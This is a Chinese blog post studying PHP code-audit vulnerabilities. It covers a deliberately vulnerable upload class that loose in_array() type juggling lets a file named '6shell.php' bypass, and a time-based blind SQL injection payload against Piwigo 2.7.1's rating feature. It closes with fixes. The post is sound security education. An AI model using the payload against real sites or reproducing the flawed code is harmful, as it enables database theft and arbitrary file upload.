PHP代码审计——Day1-Wish List

前言:发现红日安全代码审计小组写了关于php代码审计demo的系列文章,于是跟着一起学习。参考:
[红日安全]代码审计Day1 - in_array函数缺陷
RIPS-PHP-SECURITY-CALENDAR-2017学习记录

漏洞解析

class Challenge {
  const UPLOAD_DIRECTORY = './solutions/';
  private $file;
  private $whitelist;

  public function __construct($file) {
    $this->file = $file;
    $this->whitelist = range(1, 24);
  }

  public function __destruct() {
    if (in_array($this->file['name'], $this->whitelist)) {
      move_uploaded_file(
        $this->file['tmp_name'],
        self::UPLOAD_DIRECTORY . $this->file['name']
      );
    }
  }
}

$challenge = new Challenge($_FILES['solution']);

考察知识点:任意文件上传漏洞

in_array()函数:(PHP 4, PHP 5, PHP 7)

  • 功能 :检查数组中是否存在某个值
  • 定义 : bool in_array ( mixed $needle , array $haystack [, bool $strict = FALSE ] )
  • 在 $haystack 中搜索 $needle ,如果第三个参数 $strict 的值为 TRUE ,则 in_array() 函数会进行强检查,检查 $needle 的类型是否和 $haystack 中的相同。如果找到 $haystack ,则返回 TRUE,否则返回 FALSE。
  • 如果 $needle 是字符串,则比较是区分大小写的。

该代码中,in_array()函数没有将第三个参数设置为TRUE进行强检查,导致攻击者可以通过构造文件名来绕过服务端的检测。比如,上传6shell.php,由于目标数组$whitelist中的元素是数字类型的,所以会发生强制类型转换,文件将被强制转换成数字6,6在range(1, 24)中,绕过了in_array()函数判断,导致任意文件可上传。

实例解析

code:piwigo2.7.1

此处in_array()函数也没有设置第三个参数为TRUE,而$rate是可以直接和SQL语句拼接的

$_GET['action']rate 的时候,就会调用文件 include/functions_rate.inc.php 中的rate_picture方法


然后再看$conf['rate_items']

尝试绕过:将$rate设置为1,1 and if(ascii(substr((select database()),1,1))=112,1,sleep(3)));#

'INSERT INTO'
.RATE_TABLE.
'(user_id,anonymous_id,element_id,rate,date)
VALUES ('
.$user['id'].','
.'\''.$anonymous_id.'\','
.$image_id.','
.$rate
.',NOW());'

SQL语句将变成:
INSERT INTO 
piwigo_rate (user_id,anonymous_id,element_id,rate,date)
VALUES (
2,
'192.168.2',
1,
1,1 and if(ascii(substr((select database()),1,1))=112,1,sleep(3)));#
,NOW());

修复建议

  • in_array()函数第三个参数设置为TRUE作强检查
  • 使用 intval() 函数将变量强转成数字
posted @ 2024-03-31 21:43  smile_2233  阅读(14)  评论(0编辑  收藏  举报